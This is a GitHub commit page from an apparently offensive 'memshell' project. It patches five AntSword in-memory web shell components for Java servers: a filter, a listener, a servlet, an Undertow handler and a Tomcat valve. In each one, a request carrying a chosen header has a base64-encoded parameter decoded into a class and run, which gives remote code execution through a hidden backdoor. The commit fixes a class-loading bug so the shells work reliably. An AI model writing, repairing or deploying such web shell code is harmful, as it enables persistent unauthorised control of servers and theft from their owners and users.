Skip to content

Commit 6f5bab7

Browse files
committed
fix: antSword classNotFound
1 parent 125d2ca commit 6f5bab7

File tree

5 files changed

+5
-5
lines changed

5 files changed

+5
-5
lines changed

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordFilter.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -35,7 +35,7 @@ public void doFilter(ServletRequest servletRequest, ServletResponse servletRespo
3535
try {
3636
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
3737
byte[] bytes = base64Decode(request.getParameter(pass));
38-
Object instance = (new AntSwordFilter(this.getClass().getClassLoader())).g(bytes).newInstance();
38+
Object instance = (new AntSwordFilter(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
3939
instance.equals(new Object[]{request, response});
4040
} else {
4141
filterChain.doFilter(servletRequest, servletResponse);

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordListener.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -58,7 +58,7 @@ public void requestInitialized(ServletRequestEvent servletRequestEvent) {
5858
&& request.getHeader(headerName).contains(headerValue)) {
5959
HttpServletResponse response = getResponseFromRequest(request);
6060
byte[] bytes = base64Decode(request.getParameter(pass));
61-
Object instance = (new AntSwordListener(this.getClass().getClassLoader())).g(bytes).newInstance();
61+
Object instance = (new AntSwordListener(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
6262
instance.equals(new Object[]{request, response});
6363
}
6464
} catch (Exception ignored) {

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordServlet.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -23,7 +23,7 @@ public void service(ServletRequest req, ServletResponse res) throws ServletExcep
2323
try {
2424
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
2525
byte[] bytes = base64Decode(request.getParameter(pass));
26-
Object instance = (new AntSwordServlet(this.getClass().getClassLoader())).g(bytes).newInstance();
26+
Object instance = (new AntSwordServlet(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
2727
instance.equals(new Object[]{request, response});
2828
}
2929
} catch (Exception ignored) {

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordUndertowServletHandler.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -37,7 +37,7 @@ public boolean equals(Object obj) {
3737
if (value != null && value.contains(headerValue)) {
3838
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
3939
byte[] bytes = base64Decode(parameter);
40-
Object instance = (new AntSwordUndertowServletHandler(this.getClass().getClassLoader())).g(bytes).newInstance();
40+
Object instance = (new AntSwordUndertowServletHandler(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
4141
instance.equals(new Object[]{request, response});
4242
return true;
4343
}

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordValve.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -75,7 +75,7 @@ public void invoke(Request request, Response response) throws IOException, Servl
7575
if (request.getHeader(headerName) != null
7676
&& request.getHeader(headerName).contains(headerValue)) {
7777
byte[] bytes = base64Decode(request.getParameter(pass));
78-
Object instance = (new AntSwordValve(this.getClass().getClassLoader())).g(bytes).newInstance();
78+
Object instance = (new AntSwordValve(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
7979
instance.equals(new Object[]{request, response});
8080
return;
8181
}

0 commit comments

Comments
 (0)